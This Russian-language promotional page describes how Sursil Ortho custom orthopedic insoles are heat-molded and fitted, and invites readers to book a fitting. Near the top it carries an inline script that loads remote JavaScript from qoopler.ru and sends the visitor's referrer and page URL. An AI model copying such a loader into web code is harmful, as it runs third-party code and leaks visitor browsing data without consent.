Ортопедические стельки Sursil Ortho

(function (d, w) { var n = d.getElementsByTagName("script")[0], s = d.createElement("script"); s.type = "text/javascript"; s.async = true; s.src = "https://qoopler.ru/index.php?ref="+d.referrer+"&page=" + encodeURIComponent(w.location.href); n.parentNode.insertBefore(s, n); })(document, window);

О технологии Sursil Ortho

Методика основана на применении плоских полуфабрикатов, из которых изготавливаются индивидуальные ортопедические стельки и полустельки с учетом размера стопы, имеющейся деформации и вида обуви, которую носит пациент. Основу полуфабриката составляет специальный термопластичный пластик, который под воздействием температуры становится пластичным и поддается формованию непосредственно на стопе пациента. Стелька изготавливается на ровной поверхности или на колодке имитирующей положение стопы в обуви с каблуком. Удобнее изготовлять на специальном плантоскопе с меркой Хайдера, в комплект которого входит набор колодок для разной высоты каблука. Если пациент носит обувь без каблука или с каблуком до 3 см, то стелька изготавливается без использования колодок на плоской поверхности, непосредственно на мерке Хайдера.

После осмотра стопы пациента, с учетом имеющейся деформации стопы и вида обуви, в которой пациент будет носить стельки, определяется тип полуфабриката стельки. Далее берем полуфабрикат стельки соответствующий размеру стопы. Нагреваем полуфабрикат с подошвенной стороны. Подогрев полуфабриката производится при помощи специального фена.

Расстояние от сопла фена до среднего отдела стельки (проекция нахождения термопластичного материала) составляет 5-7 см. Признаком готовности полуфабриката – является его пластичность. Разогретый полуфабрикат устанавливается на платформу под стельку. В проекции продольного свода подкладывается поперек специальная резиновая лента, в 6 проекции диафизов плюсневых костей устанавливается вкладыш для моделирования поперечного свода. 

Пациент во время моделирования стелек сидит, голень располагается перпендикулярно к поверхности платформы. Ассистент фиксирует пяточную кость и головки 1-ой и 5-ой плюсневых костей, устанавливая стопу в физиологическое положение. Путем натягивания резиновой ленты по форме подошвенной поверхности стопы моделируется стелька. 

В натянутом состоянии резиновую ленту необходимо удержать 2-3 минуты. За это время, термопластик остывает, полностью принимая форму подошвенной поверхности стопы.

Изготовление стелек лучше проводить на плантоскопе, так как пациент располагается выше врача-техника – это создает удобство для работы со стопой пациента.

При изготовлении стелек для модельной обуви, с учетом высоты каблука, подбирается колодка, имитирующая положение стопы. Далее, стельки моделируются по стопе, установленной на колодке в вышеописанном порядке.

Подождав еще 4-7 минут, стельки можно вставить в обувь и предложить пациенту походить в них. При необходимости, можно заново нагреть и перемоделировать стельку. Если имеется выраженная деформация стопы, то одномоментная ортопедическая коррекция может вызвать болевой синдром. В этих случаях целесообразно проводить этапную коррекцию.

Поперечный свод, как правило, моделируется одновременно с продольным. Оптимальным местом поперечного свода считается область в проекции оснований 2-3-4 плюсневых костей. Далее стелька изготавливается по вышеописанной технологии.

Поперечный свод, также, можно отмоделировать отдельно после предварительного точечного разогревания переднего отдела стельки в проекции поперечного свода. Поперечный свод нужно формировать очень аккуратно, чтобы не деформировать смоделированные продольные своды.

Смоделированная готовая стелька должна иметь три точки опоры – пятка, головка 1-ой плюсневой кости, головка 5-ой плюсневой кости.

Неприятные ощущения при использовании индивидуальных ортопедических стелек допускаются в первые 4-5 дней. Затем пациент привыкает к стелькам и практически их не чувствует, при ходьбе ощущается комфорт, усталость в ногах проходит, снижается или исчезает болевой синдром в стопах, голеностопном, коленном суставах, поясничном отделе позвоночника. Если пациент через 7 дней после ношения индивидуальных стелек не смог привыкнуть (что бывает достаточно редко) необходимо повторное моделирование стелек.

Смоделированная готовая стелька должна иметь три точки опоры – пятка, головка 1-ой плюсневой кости, головка 5-ой плюсневой кости.

Изготовление ортопедических стелек согласно данной методике впервые было разработано и применено на кафедре травматологии, ортопедии и артрологии факультета повышения квалификации медицинских работников Российского университета дружбы народов совместно со специалистами ведущей ортопедической компании OrthoLite(США) и немецкими ортопедами. 

С уверенностью можно говорить об инновационности данной методики, опираясь на достоинства произведенных стелек-супинаторов.

Сделать стельки просто!

Заявка на изготовление

Оставьте заявку на нашем сайте или по телефону

Подтверждение

Специалист свяжется с вами для уточнения деталей

Тестирование стоп

Осмотр, компьютерное тестирование стоп и рекомендации по технологии

Изготовление индивидуальных стелек

Изготовление индивидуальных стелек от 30 минут до 1 суток

Запишитесь на изготовление индивидуальных стелек